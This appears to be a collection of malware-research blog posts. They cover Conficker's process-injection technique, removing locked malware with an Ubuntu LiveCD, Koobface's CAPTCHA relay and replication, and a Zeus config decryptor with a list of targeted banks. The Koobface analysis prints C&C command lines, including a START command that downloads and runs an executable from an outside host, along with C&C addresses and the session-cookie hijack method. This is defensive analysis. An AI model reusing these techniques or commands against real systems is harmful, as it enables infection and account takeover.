Conficker/Downadup: Memory Injection Model

The worm Conficker/Downadup does not need a special introduction as it was pretty well described in various write-ups in great detail.

Nevertheless, considering it employs a set of unique techniques, a deeper analysis is needed.

One of such techniques is its memory injection model that will be discussed in this post. Note: as the analysis continues, more posts might be expected.

Conficker runs as a DLL file and unpacks itself on the heap of the host executable process, such as rundll32.exe. In order to bypass firewalls (and possibly HIPS too), its author has certainly thought of a proper memory injection model.

The worm calls its memory injection function with the following prototype:

InjectIntoProcess (DWORD TargetProcessID, LPSTR ConfickerDllFilename)

The function is called for the processes explorer.exe, svchost.exe, and services.exe.

For start, the worm will open the target process, allocate a small memory region in its virtual address space, and write in it the full path filename of its own DLL.

Next, it will obtain the address of LoadLibraryA() API imported from kernel32.dll.

The worm will then make an interesting trick: it will call CreateRemoteThread() API by passing it the handle of the targeted process. The thread start address it specifies is the virtual address of LoadLibraryA() API (imported from kernel32.dll). The specified thread parameter is the address of the allocated buffer within the process where the full path filename of the Conficker DLL has just been written.



This will force the target process to spawn a thread that will load the worm DLL file – pretty neat, considering there is no executable code physically injected.

But that’s not all.

Following this trick, Conficker will enumerate all threads running inside the targeted process, and for every thread it will add to its queue an Asynchronous Procedure Call (APC).

For this purpose it uses an undocumented API NtQueueApcThread() which has the following prototype:

NtQueueApcThread(HANDLE hThreadHandle, PIO_APC_ROUTINE lpApcRoutine, PVOID pApcRoutineContext, ...),

where hThreadHandle is a handle of the enumerated thread that receives an APC call into its queue, lpApcRoutine is the address of the entry point to the user APC routine, and pApcRoutineContext is the user defined parameter for APC routine.

Guess what address it uses for the user APC routine? That’s right, it’s the address of the API LoadLibraryExA() imported from kernel32.dll, and the parameter for this call is the name of the Conficker DLL, previously saved inside the process’s address space.



With the APC queued for the target process threads, as soon those threads are signaled, the routine that loads Conficker DLL will be invoked. Hence, the remote injection.

Removing Persistent Malware

This blog post is not for the technical guru!

While it's not for mums and dads either, its main purpose is to explain to an average user how to manually remove persistent malware that cannot be easily deleted otherwise.

A reader who starts shivering from hearing the words "Linux" or "Ubuntu" could find this post useful too – not only to be able to remove persistent malware, but maybe to get closer to Linux and start using it for Internet banking, as a safer alternative to Windows and Internet Explorer (arguably, of course).

Malware removal is a separate big discussion subject. There are many known methods that involve antirootkits, dedicated fixtools, kernel-mode drivers employed by antivirus products that allow to delete, wipe-out, or simply damage locked malware files.

Nevertheless, we keep receiving an overwhelming number of requests coming from various customers asking for help in deleting locked malicious files. This post started as an email template that we utilized in our response, but given the fact so many people ask the same question again, it sounds reasonable to post this information here for a better public exposure.

Let's say, a user accidently clicks an attachment and then realizes something wrong has just happened. The attachment file gets submitted to ThreatExpert. The returned report suggests that an additional malicious file might have been created – the user locates that file and attempts to delete it, but Windows denies access to such file as it's loaded in memory.

Quite often, all it takes is to kill a process to unlock a file, or reboot in safe mode and delete a file that is known to be malicious, or register such file for a delayed removal. But the reality is that in many cases it's not that simple. Malware can be loaded into the address space of a legitimate system process so that termination of such process will lead to system crash. In a different scenario, a file can be protected by a kernel mode driver, and that driver is protected by another watchdog thread running inside a legitimate process. The possibilities for malware authors to protect their files are endless. AV industry makes its best to break such protection, but in the end it's still a cat-and-mouse game.

A very simple method to delete malicious files is to boot from a different partition that is known to be clear of malware, and then delete malicious files that reside on an affected partition. This way, the files that reside on an affected partition are not obstructed from being seen or manipulated (e.g. any possible rootkits will be inactive at this stage).

There is nothing new in this method, and there are multiple ways to achieve this. But if you ever experienced locked malware file problem before, it might help to have a Linux start-up CD (LiveCD) in the pocket of your backpack, ready to fix a problem any time you need it.

Scenario

Let's say, a malicious file called malicious_file.exe resides in the %system% directory. This file cannot be deleted for some (unknown) reason.

Disclaimer

Please note that the following description does not cover scenarios when a legitimate file is reported to be malicious due to a false positive, or because a firewall/HIPS system reports a file as suspicious, or because the user thinks it's malicious; it only explains how to delete a truly malicious file, that is a file with a code that performs malicious actions.

If you're unsure about the purpose of the file that you intend to delete, please do not attempt this method. Removal of a system file or a file of a legitimate 3rd party software may lead to corruption of your operating system, any other software or your personal files.

The author of this post takes no responsibility for any data corruption that may happen should this method be chosen and tried out. If you decide to follow it anyway, please do so on your own risk!

Before you attempt this method, please back up your files and documents!

Step 1: Get Ubuntu.

For start, you'll need to visit Ubuntu website to download the latest version of this Linux distributive.

Once you download the ISO image, please follow these instructions on how to burn a boot-up CD or DVD.

Turn off you computer properly from Windows. Disconnect any USB devices you may have plugged in.

Boot your computer from the LiveCD. If you can't boot, please read detailed explanation on how to fix this problem here.

When you start the boot-up process, make your language choice:



then, choose menu option "Try Ubuntu without any change to your computer", as shown below:



Ubuntu will start booting up from your LiveCD. When it's done, you'll see the following screen:



Step 2: Locating and Mounting Affected Windows Partition

Next thing you'll have to do is to find your Windows partition that contains the malicious file(s). In our scenario, it's a file %system%/malicious_file.exe.

Click Menu item "Places", then "Computer" as shown below:



The File Browser will fire up and show a panel similar to the one below:



Your Windows partition will most likely be depicted with an icon of a hard disk drive titled as "[X] Gb Media", where X is the size of your partition in Gb. Most likely, the icon will be a bit different from the "Filesystem" one – it will not have a little green indicator in it because it is not mounted at this point yet.

In case of several partitions, there will be several "[X] Gb Media" icons; you will need to identify which one has Windows installed on it – it's not necessarily the first displayed one.

Right-click your mouse over the hard disk icon and select the "Mount Volume" option – its icon should get a green indicator on.

Step 3: Locate and Rename/Delete Malicious File(s)

In the File Browser, double-click an icon of the mounted partition to inspect the directories and file names on that partition. You should be able to recognize your Windows partition by its contents: navigate to %system% directory and find the file malicious_file.exe. From here, the file can be renamed or deleted, as shown below:



If the malicious file was renamed or deleted successfully, shut down Ubuntu (shown below), remove LiveCD, and power on your computer to start up Windows again – the system should be clean from the malicious file at this stage.



Troubleshooting: What to Do if Volume Mounting Fails

If Ubuntu fails to mount your partition, it will show the following error message:



If you get this error message, then most likely you did not power off Windows properly. A clean way is to shut down Ubuntu, remove LiveCD, start up Windows again, insert LiveCD, power off your computer from Windows in a clean way (e.g. by clicking "Turn Off Computer"), then boot up from the Live CD and repeat Step 2 above.

In some cases, shutting down Windows properly is not possible due to system corruption – e.g. Windows boots up then crashes before you have a chance to shut it down properly, but you still know what files you want to delete.

If powering computer off properly (from Windows) still does not help mounting your Windows partition(s) successfully, you will need to force Ubuntu to do that:

• Close all error messages.



• Start up the Terminal program – you will need to run a couple of commands in it:





• Run the following command to enlist your partitions:
  
  sudo fdisk –l
  


• From the output of this command, take a note on a partition that is marked as bootable (*) and write down its device name. For example, the output below shows that "/dev/sda1" is the device name of the bootable partition – most likely it's the Windows partition that needs to be mounted:
  
  
     Device Boot      Start         End      Blocks   Id  System
  /dev/sda1   *           1         519     2092576+   7  HPFS/NTFS
  /dev/sdb1               1        5099    40957686   2d  Unknown
  /dev/sdb2            5100        9725    37158345    7  HPFS/NTFS
  
  
  


• Now you'll need to mount your bootable partition and map it to a directory, e.g. "mydisk". But first, create that directory by running another command in Terminal window to create "/media/mydisk" directory (this step is optional):
  
  sudo mkdir /media/mydisk
  


• Finally, instruct Ubuntu to mount your bootable Windows partition:
  
  sudo mount -t ntfs-3g /dev/sda1 /media/mydisk -o force
  

If the partition was mounted successfully, the output will say:

$LogFile indicates unclean shutdown (0, 1)
WARNING: Forced mount, reset $LogFile.

You may now run File Browser again and check if any of your partitions has changed its icon to the one with a green indicator in it, as shown below:



Repeat Step 3 for the mounted partition to delete the malicious file(s).

"The Road to Hell Is Paved With Good Intentions", Part II

It's been a while since the previous post discussed commercial "intelligence gathering tool".

It would have seemed ridiculous, if this time it wasn't UK government who thinks it's acceptable to hack into home computers, spread malware via email, log users' keystrokes, or sniff users' traffic, if it "believes" that it is "proportionate" and necessary to prevent or detect serious crime.

Whoever came up with this idea is apparently the follower of Niccolò Machiavelli (1469–1527), a strong believer that "the ends justify the means". Especially when it comes to the fight with paedophiles and terrorists, as if the last two words were doing exceptional job in shutting down one's intellect.

Considering these news follow other ridiculous reports that the UK military will now run nuclear-missile submarines under Windows XP (no, it's not April 1st), one could fairly ask "What exactly is going on in that part of the world?".

How to Defeat Koobface

As published in the previous blog post, analysis of the current version of Koobface uncovered a very interesting part about it – its "ability" to resolve CAPTCHA protection at the Facebook web site. To put it simply, if Koobface was unable to resolve Facebook’s CAPTCHA protection, it would’ve been unable replicating because in order to submit a new message, one needs to resolve CAPTCHA image first.

Every time Koobface runs into CAPTCHA protection at Facebook, it transfers that image to its command-and-control server. From there, the image is relayed to an army of CAPTCHA resolvers, who work day and night ready to pick up a new image from their profile, solve it, submit an answer, and get paid something like 0.5 cent for the answer.

You wonder if it's financially sustainable?

Think about it this way: according to the World Bank, at least 80% of humanity lives on less than $10 a day. In the same time, web resources like this one, give its users an opportunity to make that kind of money ($9) in three hours by resolving CAPTCHA images relayed to them. Don’t you think the potential army of CAPTCHA resolvers has all the reasons to grow?

Detailed analysis of traffic between Koobface and its command-and-control server allowed tapping into its communication channel and injecting various CAPTCHA images in it to assess response time and accuracy. The results are astonishing – the remote site resolved them all.

But here is a twist: uploading a large number of random CAPTCHA images into its communication channel will load its processing capacity, potentially up to a denial-of-service point. Well, if not that far, then at least it could potentially harm its business model, considering that the cost of resolving all those injected images would eventually be paid by the Koobface gang.

The tapping mechanism is best illustrated with the following scheme:



There was a tool specifically built to upload CAPTCHA images to the Kobface C&C server and receive the responses. It is available for download here (the ZIP file contains a few test images to upload).

The tool opens up an interesting "dialog" with the back-end operators, a dialog with some interesting discoveries.

At first, the response clearly looks like it was produced by automation:



As seen in this example, the automation tried to OCR the image (which contains a very specific Russian word) – it’s very unlikely that a human would have provided such answer.

Trying to submit it images with the provocative phrases had no luck either – the remote server resolves them vigorously – as if it was a bot, or maybe a smart operator instructed to reply as if he or she was a bot:



But given that no automation can presumably handle really complex images – images that are difficult even for humans to resolve, let’s try to submit with the tool the more complex ones. Here are the results:



As seen on the picture, all Facebook’s CAPTCHAs were resolved pretty well.

But here are a couple of bloopers – these images were resubmitted because the original answers were totally wrong:



Let’s see how it withstands Google’s CAPTCHAs. Here is another blooper revealed:



The wrong answers like "edtgted rghf", "edrfb dfbn", "dfgd dfg", and "asdf df" mean it was not an automation. Otherwise, it would have tried to resolve the images at least partially, or maybe provided nonsense for the noise detected in the picture or any other answer suggesting it was a bot. In the end, the wrong answers would have been at least consistent across several attempts.

These wrong answers simply mean someone was hitting the keyboard (check these keys location), giving those pictures up as too complex puzzles that require too much time/attention, in order to proceed to the easier ones.

These results could mean that the back-end CAPTCHA server has a queue of CAPTCHA images to resolve, and in front of that queue there must be an automation that firstly tries to resolve CAPTCHAs automatically, by using optic image recognition techniques. If the automation fails, it then passes the image down into the queue to be further distributed and picked up by an operator to be processed manually. Such relaying obviously has no method to oppose, as it destroys the very meaning of CAPTCHA – to distinguish a bot from a human. By having them eventually processed by humans, the only reason to keep CAPTCHA protection is to make the resolving process as expensive as 0.5 cent per image.

The question is: is it expensive enough to be justified at all? Probably, it’s expensive enough for the kids who build malware out of curiosity or self-determination (compare it with a trivial latch on your window). But it’s nothing for those guys who build malware for any kind of profit (case with Koobface) as more than likely they can afford 0.5 cent per image.

Taking the C&C down? Maybe, but it will rather pop up in a different place the very next day.

A different way of destroying it is via poisoning its traffic with the fake CAPTCHAs that look exactly as the ones that are passed by a valid Koobface worm. In this case, Koobface authors will be paying for every fake CAPTCHA resolved, the ones generated in the lab, not the real-wild-world ones.

Destroying it financially could be a better option in the end.

Zeus Config Decryptor

The banking trojan Zbot (aka WSNPOEM/Zeus/PRG) is still circulating "in-the-wild" in various modifications.

If you are tracking Zbot submissions at ThreatExpert web site, you might find useful the following tool that decrypts the contents of the configuration files downloaded by this trojan: DecodeZeusConfig.zip.

The decrypted config file will normally contain URLs of additional components it downloads along with the URLs of online banking services that it attacks and bogus HTML fields it attempts to inject into online banking login forms.

For example, analysis of the Zeus config file contents over the last week reveals the targeted URLs of the following online financial services:

• Alfa Bank (Russia)


• Ameriprise Financial Services (US)


• Banca March (Spain)


• Bancaja (Spain)


• Banco Pastor (Spain)


• Banco Popular (Spain)


• Banco Santander, S.A. (Spain)


• BANESNET S.A. (Spain)


• Banesto (Spain)


• Bank of America (US)


• Barclays Bank (UK)


• Barclays Bank, S.A. (Spain)


• Cahoot/Abbey National (UK)


• Caixa Tarragona (Spain)


• Caixanova (Spain)


• Caja Espana (Spain)


• Caja Extremadura (Spain)


• Caja Madrid (Spain)


• Caja Madrid Empresas (Spain)


• Caja Rural (Spain)


• Caja Segovia (Spain)


• Cajamurcia (Spain)


• Cajasol (Spain)


• CajaSur (Spain)


• Citibank (US)


• Citibank Deutschland Gruppe (Germany)


• Citizens Bank (US)


• Clydesdale Bank (UK)


• comdirect bank AG (Germany)


• Dresdner Bank (Germany)


• e-gold (US)


• ePassporte (Netherlands)


• E-port.Ru (Russia)


• Fibanc-Mediolanum (Spain)


• FIDUCIA IT AG (Germany)


• Fifth Third Bank (US)


• Halifax/Bank of Scotland (UK)


• HSBC Bank (UK)


• JPMorgan Chase & Co. (US)


• KeyCorp (US)


• Kutxa, Caja Gipuzkoa San Sebastian (Spain)


• La Caja de Canarias (Spain)


• Lloyds TSB (UK)


• MDM Bank (Russia)


• MoneyMail.Ru (Russia)


• National City Bank (US)


• norisbank GmbH (Germany)


• PayPal, Inc. (US)


• RBK Money (Russia)


• SunTrust Bank (US)


• TD Group Financial Services (Canada)


• U.S. Bank (US)


• Unicaja (Spain)


• Volksbank Rhein-Wupper eG (Germany)


• VR-NetWorld eBanking (Germany)


• Wachovia Securities (US)


• Washington Mutual, Inc. (US)


• Wells Fargo Bank (US)


• Westpac Banking Corporation (Australia)


• Yorkshire Bank (UK)

Intervalhehehe

According to multiple forum posts, there are a number of people who seem to be infected with a mysterious virus that pops up every 10 minutes or so and displays a message "Intervalhehehe".

This threat is most likely distributed as a cracked version of the popular software WinRAR. Its file is a WinRAR self-extractor (report here) that unpacks and runs WinRAR installer itself, plus a file named explore.exe, which is a trojan horse.


The trojan modifies hosts file to redirect users from google.com, yahoo.com and other legitimate sites into the websites hosted at 61.157.217.210, 123.251.143.110, and 123.16.197.121 and being used to distribute rogue antivirus and antispyware solutions:


This trojan is a Visual Basic program built on a Chinese system.

In some way (mostly in its annoyance, of course) it reminds an old DOS-era virus "Skaji Bebe - Fig Tebe".

Koobface Leaves Victims the Black Spot

Koobface worm has already been described enough, but a few details about its functionality can still be interesting to the reader. This post is an attempt to crack it to the bottom.


TECHNICAL SUMMARY

Koobface starts from checking if its own file name is %windows%\bolivar[number].exe, where [number] is a decimal number that depends on the build of the worm.

If its file name is not %windows%\bolivar[number].exe, it will copy itself under that name, run that file, drop a temporary batch file (e.g. c:\653ad216543.bat) with the commands to delete its own executable (it can't delete itself while it's running), and quit.

When it runs as %windows%\bolivar[number].exe, it will create the mutex object "4334dfgdfgdf5" in order to make sure that there is only one instance of Koobface running on the system.

It then returns the handle to the foreground window (the window with which the user is currently working) and check if that window is Internet Explorer. If that's the case, it will create an object that will be an invisible instance of Internet Explorer. It will then use that object to navigate across Facebook site and parse its contents.

The worm drops and runs file c:\1.reg in order to create the values:

CLSID"="{25336920-03F9-11cf-8FD0-00AA00686F13}
Extension"=".xml
Encoding"=hex:08,00,00,00

in the registry key:

HKEY_CLASSES_ROOT\Mime\Database\Content Type\application/xhtml+xml

These registry modifications will force Internet Explorer to display application/xhtml+xml MIME type pages without a download prompt.

Koobface retrieves the default system directory for storing cookies by querying the value "Cookies" from the registry key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Next, it enumerates all cookies looking for the ones created by facebook.com, myspace.com, and bebo.com websites.

Koobface then makes a DNS query to find out what IP address corresponds to the name y171108.com. For different variants this domain name is different, but its format appears to be constant: [letter][date].com, e.g. a22092008.com, f071108.com, z13092008.com.

The name server replies the DNS request with an IP 58.241.255.37:



This IP address is the command and control (C&C) server for Koobface - it accepts data that Koobface collects on a compromised host and replies back instructions of what Koobface should do.

The collected data is delivered by Koobface in the POST request submitted to /fb/first.php resource of C&C server. The POST string is assembled from the parameters - like these:

f=0&a=13441600&v=28&c=0&s=fb&l=&ck=0&c_fb=0&c_ms=0&c_hi=0&c_be=0&c_fr=0&c_yb=0

For example, "ck" parameter is equal to "0" if Koobface could not find facebook.com cookie, or "1" if the cookie was found.


BACKDOOR COMMANDS

The C&C returns back instructions that may depend on the data that Koobface delivers to the C&C server - these can be considered backdoor commands which also makes Koobface a backdoor trojan.

Some of the commands that Koobface can be instructed to perform are listed below:

• FBTARGETPERPOST


• TINYURL


• SHARELINK


• MPOST


• INVITE


• PARAMS


• SWFMODE


• UPDATE


• RESET


• WAIT


• START


• STARTIMG


• DOMAIN_B


• TITLE_B


• TEXT_B


• LINKTEXT_B


• DOMAIN_M


• TITLE_M


• TEXT_M


• LINKTEXT_M


• LINK_M


• DOMAIN_C


• TEXT_C


• LINKTEXT_C


• STARTONCEIMG


• EXIT

Those commands that require parameters will have them appended and delimited with the "|" character. For example, C&C may return these commands:

START|http://www.teamtga.com/images/games/gif/tinyproxy23.exe
RESET
FBTARGETPERPOST|20
#BLACKLABEL

The first command is START - Koobface will perform it this way:

• it will create a temporary file c:\tmark25[random_number].dat


• it will then download an executable file from the specified URL saving it as the temporary file


• it will then copy that file as %temp%\tt_[random_number].exe, then run it

The aforementioned executable will be downloaded either from www.teamtga.com or from www.gameland.ro - according to the parameter returned at the time of this writing. A couple of days ago this was www.aibcvienna.org. A few hours from now it could be a different URL.

The C&C must have an updatable database of compromised web servers from which the Koobface client will be instructed to download and run executables. Once one compromised site is cleaned or taken down, the C&C database will be updated to feed a different URL to its clients.

On RESET command, Koobface will delete the temporary files and re-start its workflow.

On STARTIMG command, it will download a file from the specified URL, save it as c:\tmark25[random_number].dat, decrypt it, parse the decrypted contents, locate URL inside it, then download an executable from that URL, save it as %temp%\tt_[random_number].exe, and finally run that executable.

On UPDATE command, the worm will download an updated build from the specified URL, save it as %temp%\tt_[random_number].exe, run it and quit.

On EXIT, it will simply quit.

Other commands may specify additional global parameters or modes.


REPLICATION

Before it continues, Koobface makes a final query to its C&C server's resource achcheck.php.

If the server responds ACH_OK, the worm goes ahead.

The user-agent string that identifies the client browser is set by Koobface to:
User-Agent: Mozilla/5.01 (Windows; U; Windows NT 5.2; ru; rv:1.9.0.1) Gecko/20040201 Firefox/3.0.3

The user-agent language tag, that indicates the language for which the client had been localized, is "ru": Russian.

This explains #BLACKLABEL token returned by the C&C server - it's the result of translation of The Black Spot term (from the novel Treasure Island by Robert Louis Stevenson) into Russian, and then back into English.

Once the victim is "given the Black Spot", Koobface locates the cookie left by facebook.com in the cookie cache, then reads it and uses its contents to connect to Facebook website.

For example, if the cookie's contents starts from:
datr
1228869768-5ed159061fd5727f027e6c6678531c19ef53163bfe7ebcbb0203b
facebook.com/
9216
832238592
...

then the GET request submitted by Koobface will look like shown below (check the "datr" value - it is taken from the cookie):



This allows Koobface to connect to Facebook account by using current user's login session. Thus, it does not need to know user's login credentials. As long as the user stays connected to the Facebook account, the worm freely accesses it as if it was the user.

Once connected, the worm opens up several Facebook resources such as home.php, profile.php, group.php. It navigates to the page http://www.facebook.com/friends/?view=everyone in order to obtain the list of the user's friends.

If it locates a friend, it submits a POST request to its C&C server's resource /fb/gen.php. The POST request contains details similar to the ones below:

f=0&a=13441600&v=28&c=0&s=fb&l=&hav=&hname=[encrypted_string]

The C&C server responds the following parameters:

TITLE_M|Cool nice video with you.
TEXT_M|LOL
LINK_M|http://geocities.com/carlosbecker54/?4bchce6c9a=1851a448d70904485af377d941bca0f4

These parameters is a template for a new message that Koobface should send to the contacts. It then navigates to the page /inbox/?compose within Facebook website, composes a new message and submits it from the user's name:



Before the message is dispatched, Facebook returns CAPTCHA challenge to resolve. This security measure is implemented to protect users from threats like Koobface.

In the real test, Facebook.com asked the Koobface to resolve the CAPTCHA image that reads "suffer accorn" - this image was pretty noisy for image recognition algorithms to resolve it successfully. But Koobface does not attempt to resolve it by itself. It submits this image to its C&C server. The server replies correct answer in about 34 seconds. Once the answer is received, Koobface submits the message via Facebook's compromised account including correct CAPTCHA answer:




PUTTING IT TO A REAL TEST

In order to test Koobface replication in action, there were 2 fake accounts created: "Eno Koob Acef" and "Owt Koob Acef" ("Face Book One" and "Face Book Two" reversed). Both accounts were mutually declared as friends.

If the computer logged on to the second account is compromised with Koobface, the worm will use its login session, it will locate "Eno Koob Acef" as its friend, and it will send it a message.

The image below shows the inbox of the first account ("Eno Koob Acef") - it contains a new message from the 2nd account ("Owt Koob Acef") with the subject "Cool nice video with you."



When the user clicks the new message link, Facebook.com will open that message:



The message contains a URL that points to a private page hosted at geocities.com web site. When that link is clicked, the browser will redirect the message recipient to the following page:



The page has a header "Secret video by [infected_user_name] - Flash Player Installation". It even has fake testimonials. The page suggests installing a newer version of Flash Player, which of course is not a Flash Player. It's a file called flash_update.exe, and it's a new copy of Koobface. If the Facebook user runs it thinking it's a Flash Player update, the worm will now replicate to this user's friends the same manner it did before, and so on, and so on.


CONCLUSION

At one point of its execution, Koobface submitted GET request to facebook.com:
/campaign/impression.php?campaign_id=[long_number]

The purpose of this request is not quite clear. It might potentially be related to some advertising program within Facebook (e.g. similar to Google AdSense), but this is a guess...

Nevertheless, if it's about the money generated by clicking ads by Koobface, the ads that are allocated by Facebook within other peoples' profiles, then its business model becomes more evident. It may even potentially include manual labor in breaking the CAPTCHAs (it's not free) - at least it explains a 34 seconds inter-server delay in solving it.